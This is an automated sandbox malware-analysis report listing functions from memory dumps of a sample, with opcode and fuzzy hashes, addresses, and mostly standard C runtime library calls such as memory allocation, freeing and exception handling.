Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 00a27b3400848ec88eef5efae6557c97b263f1d126349ea373aa4cb4fc787a7f
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: 1B8138B2A047019FC728CF19D88566AF7E1FFD8210F15892EE99E83B41D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 05D98E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: 18ef6ceffdeb3358c7a53e87128fd600af2a7f0c8e06722072750703c0b199ca
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: AE710622535B7A0AEBC3DA3D881046BF7D0BE4910AB85095ADCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 05D9A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: d9c4a9a24004034d0428996d14f88da3c7cbcf26ebdffae1f8fa0c30688e7013
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: 5D813A76A10B669BDB54CF2ED8C045AFBF1FB08210B518A2ADCA583B41D334F565CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05D99120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 956ced2c3472c470db34f755f933c5cb654323d5f5eefa30ba9613f294d8fdde
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: E461A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A76DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 05D97A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 5610cf705e0b289959121009616d9e9e462015423d2b5e0ce2415d725a8637b1
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: 4E617C3791262B9BD761DF59D84527AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 05D97880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: 197d4c651a61d675eb416ac903202bffd5fb2946298ad476ea27f3c8b8bb579e
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: 4051DD229257B945EFC3DA3D88504AEBBE0BE49106B460557DCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 05D97220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 0443171C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066829815.0000000004430000.00000040.00000020.00020000.00000000.sdmp, Offset: 04430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4430000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: ab51e47ee5e36b25af9009af6f7220fb780ecfb6b203de93fdfb231bac4fcb5e
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 853169398062459FDF19CE70D891AB6BB70EF8B725F18859ED0858B102D3256047C794

Uniqueness

Uniqueness Score: -1.00%

Function 05D970E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 05D97393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: 6b27af39bd7fd221c9409dc6a1ec75d6386a6f9d4415c7dd3b0c14a363ef870d
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 033126706283419FD745EF29C480A4BF7E0FFC9254F41D91AF98897221D730E984CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DB18D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: cab1e26ac1144ea544c9d77bc8f55e10a58ad0fa4ac002295db53d10864df877
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: BD11E97B2491C2C3FE1486ADD8B45FA93D7FBC6121F2C437BD1A38B658D2A2D145D500

Uniqueness

Uniqueness Score: -1.00%

Function 05D9B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 0016e1bd4d113e04acaca18c2f5c1f8ffb01b60b32a0b3833a85375e3ac41ab1
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 8D113D0A84D2C4BDCF464A7840E56EBEFA68E2B218F4A71DAC8C44B743D01B150FE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 044300A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066829815.0000000004430000.00000040.00000020.00020000.00000000.sdmp, Offset: 04430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4430000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 97523baca0002c017b3f0593e87f63667457c78fd9dcf20518b965d1d7083056
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 29117C72340100AFDB54DF59DC80FA673EAEB8D625B19816AED08CB316E676EC42C760

Uniqueness

Uniqueness Score: -1.00%

Function 05D90042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 46d3a9b40c2ddeaeb439c8f3e530b648e02dca6bd66a5aee14c43d18dab62a4c
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 3111A5723401009FDB58DF65ECD5FA673EAFB88220B198156ED08CB351E676EC41C760

Uniqueness

Uniqueness Score: -1.00%

Function 05D9A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 23258a7dfc08ab15cd60edb199248331258ae3f978bca99b448b944e7d6f1053
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 110128768106629BD704DF3EC8C045AFBF1BB082117528B2ADC9083A41D334E662DBE4

Uniqueness

Uniqueness Score: -1.00%

Function 05DB6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05DB644E

Part of subcall function 05DB9636: __calloc_impl.LIBCMT ref: 05DB9645

__calloc_crt.LIBCMT ref: 05DB6472
_free.LIBCMT ref: 05DB6480
__calloc_crt.LIBCMT ref: 05DB648E
_free.LIBCMT ref: 05DB649E
_free.LIBCMT ref: 05DB64A4
__copytlocinfo_nolock.LIBCMT ref: 05DB64B3
__setmbcp_nolock.LIBCMT ref: 05DB64D4
_free.LIBCMT ref: 05DB64E2
___removelocaleref.LIBCMT ref: 05DB64E9
___freetlocinfo.LIBCMT ref: 05DB64F0
_free.LIBCMT ref: 05DB64F6

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 978d545be96992b0bcc76708b9e0dea9eddafb84c08c7cdba9914a270a078605
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 0121A43520CA01EAFB217F65DC09DDB7BE7EF41650F50802BE587550A0EAE2C650CB72

Uniqueness

Uniqueness Score: -1.00%

Function 05DB3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05DB3F51

Part of subcall function 05DB5BA8: __getptd_noexit.LIBCMT ref: 05DB5BA8

__gmtime64_s.LIBCMT ref: 05DB3FEA
__gmtime64_s.LIBCMT ref: 05DB4020
__gmtime64_s.LIBCMT ref: 05DB403D
__allrem.LIBCMT ref: 05DB4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DB40AF
__allrem.LIBCMT ref: 05DB40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DB40E4
__allrem.LIBCMT ref: 05DB40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DB4119
__invoke_watson.LIBCMT ref: 05DB418A

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 4cadf3781154eff46b97e42f32bb6a89e2ecf3e164ed0f3dfd33e0f32014ee00
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: F371E371B01717EBFB14DA68CC44BAAB7ABFF04664F14416BE416D7281E7B0D9408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DB650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05DB6547
__calloc_crt.LIBCMT ref: 05DB6598
__lock.LIBCMT ref: 05DB65AE
__copytlocinfo_nolock.LIBCMT ref: 05DB65BF
_wcscmp.LIBCMT ref: 05DB65F9
__lock.LIBCMT ref: 05DB6610
__updatetlocinfoEx_nolock.LIBCMT ref: 05DB6622
___removelocaleref.LIBCMT ref: 05DB6628
__updatetlocinfoEx_nolock.LIBCMT ref: 05DB6647

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 79e55f5b3a5dd87d084ecf2eaceac045c6e48e15765e6898a7af1416bdfd9ded
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: B041D132A04304EFFB00AFA49888BDE3BE7FF08314F10446BE91696191DBF69644DB21

Uniqueness

Uniqueness Score: -1.00%

Function 05DB84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05DB84B1
_free.LIBCMT ref: 05DB84E2
_free.LIBCMT ref: 05DB84F5
_free.LIBCMT ref: 05DB8513
_free.LIBCMT ref: 05DB8525
_free.LIBCMT ref: 05DB8536
_free.LIBCMT ref: 05DB8541
_free.LIBCMT ref: 05DB8565
_free.LIBCMT ref: 05DB8581
_free.LIBCMT ref: 05DB8597
_free.LIBCMT ref: 05DB85BF

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 51f99873e4e1a896bc1fb1dba0f0a86fc1dbaa7542bef0856fdbe6808a3bf026
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 3D31D671A00250DBEB115F54FC948C977FAFB14320744852BE907972A0CBF05AC8EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05DDFC1F

Part of subcall function 05DC169C: std::exception::_Copy_str.LIBCMT ref: 05DC16B5

__CxxThrowException@8.LIBCMT ref: 05DDFC34
std::exception::exception.LIBCMT ref: 05DDFC4D
__CxxThrowException@8.LIBCMT ref: 05DDFC62
std::regex_error::regex_error.LIBCPMT ref: 05DDFC74

Part of subcall function 05DDF914: std::exception::exception.LIBCMT ref: 05DDF92E

__CxxThrowException@8.LIBCMT ref: 05DDFC82
std::exception::exception.LIBCMT ref: 05DDFC9B
__CxxThrowException@8.LIBCMT ref: 05DDFCB0

Strings

leM, xrefs: 05DDFCA8

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 2df0732a9e6b54e863bb8065878407a3c88428b10b0cb9103b06fd022af036f4
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1911DA79D4020DBBCB00FFE5D459CDDBF7CEA04244F4085A7A91497241EB74A349CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05D9F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05D9F01F

Part of subcall function 05DB1602: __FF_MSGBANNER.LIBCMT ref: 05DB1619
Part of subcall function 05DB1602: __NMSG_WRITE.LIBCMT ref: 05DB1620

_malloc.LIBCMT ref: 05D9F02B
_wprintf.LIBCMT ref: 05D9F03E
_free.LIBCMT ref: 05D9F044
_free.LIBCMT ref: 05D9F065
_malloc.LIBCMT ref: 05D9F06D
_sprintf.LIBCMT ref: 05D9F0C0
_wprintf.LIBCMT ref: 05D9F0D2
_wprintf.LIBCMT ref: 05D9F0DC
_free.LIBCMT ref: 05D9F0E5

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: e64b9ed7657eb8e4b3398c61483ee72b18949f24d5b63041dc69c36cc5bcea26
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 651127B6A00550AAE76263F54C19FFF3AEEDF46701F04006BFA8ED1180DA985A0493B2

Uniqueness

Uniqueness Score: -1.00%

Function 05DA1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DA19C6
__CxxThrowException@8.LIBCMT ref: 05DA19F1
__CxxThrowException@8.LIBCMT ref: 05DA1A1A
__CxxThrowException@8.LIBCMT ref: 05DA1A4B
_memset.LIBCMT ref: 05DA1A6A
__CxxThrowException@8.LIBCMT ref: 05DA1A90
_malloc.LIBCMT ref: 05DA1AA0
_memset.LIBCMT ref: 05DA1AAB
_sprintf.LIBCMT ref: 05DA1ACE

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 38e5f01b04ea9d781ed4678cb10353dc1a05308ab95c6fe72f46ccdefd2c5456
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 4E510A71E40219AAEB11DBE5DC89FEFBBB9FF04744F100026E905B6290E7745A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 05D9F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05D9F284
__CxxThrowException@8.LIBCMT ref: 05D9F2AF
__CxxThrowException@8.LIBCMT ref: 05D9F2DE
__CxxThrowException@8.LIBCMT ref: 05D9F30F
_memset.LIBCMT ref: 05D9F32E
__CxxThrowException@8.LIBCMT ref: 05D9F354
_sprintf.LIBCMT ref: 05D9F373

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: b1436c106bbcf0f5661c69d3cbcb9c3325aab806af636a283cbcc71a137d7c46
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 07513F71E40209FADF15DFE1DC46FEEBBB9EB04704F10012AF905B6180D7B9AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 05D9F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05D9F4B7
__CxxThrowException@8.LIBCMT ref: 05D9F4E2
__CxxThrowException@8.LIBCMT ref: 05D9F504
__CxxThrowException@8.LIBCMT ref: 05D9F535
_memset.LIBCMT ref: 05D9F554
__CxxThrowException@8.LIBCMT ref: 05D9F57A
_sprintf.LIBCMT ref: 05D9F594

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: e36113c11d0e21839d209ba618a67aff2067868e02b52823cf5b9c72ce4e99ba
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 72512071E40209AADF15DFE5DC85FEEBBB9FF04704F10012AE505F6280D675A9058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DD208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05DD20C6
__invoke_watson.LIBCMT ref: 05DD2120
_strlen.LIBCMT ref: 05DD20D4

Part of subcall function 05DB5BA8: __getptd_noexit.LIBCMT ref: 05DB5BA8

_strnlen.LIBCMT ref: 05DD215F
__lock.LIBCMT ref: 05DD2170
__getenv_helper_nolock.LIBCMT ref: 05DD217B

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: c0ffeb70c3a39fe3c5fc784c1fe656eb7f72a5f40f898af3d2dad69054e2a535
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 90310B36B45321EBEB21AF64DC05BBEB766EF05B60F108017E916DB280DBB5C54087B1

Uniqueness

Uniqueness Score: -1.00%

Function 05E566D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 05E566DD

Part of subcall function 05DB59BF: __calloc_crt.LIBCMT ref: 05DB59E2
Part of subcall function 05DB59BF: __initptd.LIBCMT ref: 05DB5A04

__calloc_crt.LIBCMT ref: 05E56700
__get_sys_err_msg.LIBCMT ref: 05E5671E
__invoke_watson.LIBCMT ref: 05E5673B
__get_sys_err_msg.LIBCMT ref: 05E5676D
__invoke_watson.LIBCMT ref: 05E5678B

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 4fa4180108cc81999feaa9adfd7f2ece47b8d367aa35cc9f5018a47a38190388
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 4811B232701214ABFB216B359C04EBA739EEF00675F800427FD89D6251FAB1DD0042A4

Uniqueness

Uniqueness Score: -1.00%

Function 05DA2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DA26DB
_memset.LIBCMT ref: 05DA2A30
_memset.LIBCMT ref: 05DA2AC0

Strings

D, xrefs: 05DA2AC8

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

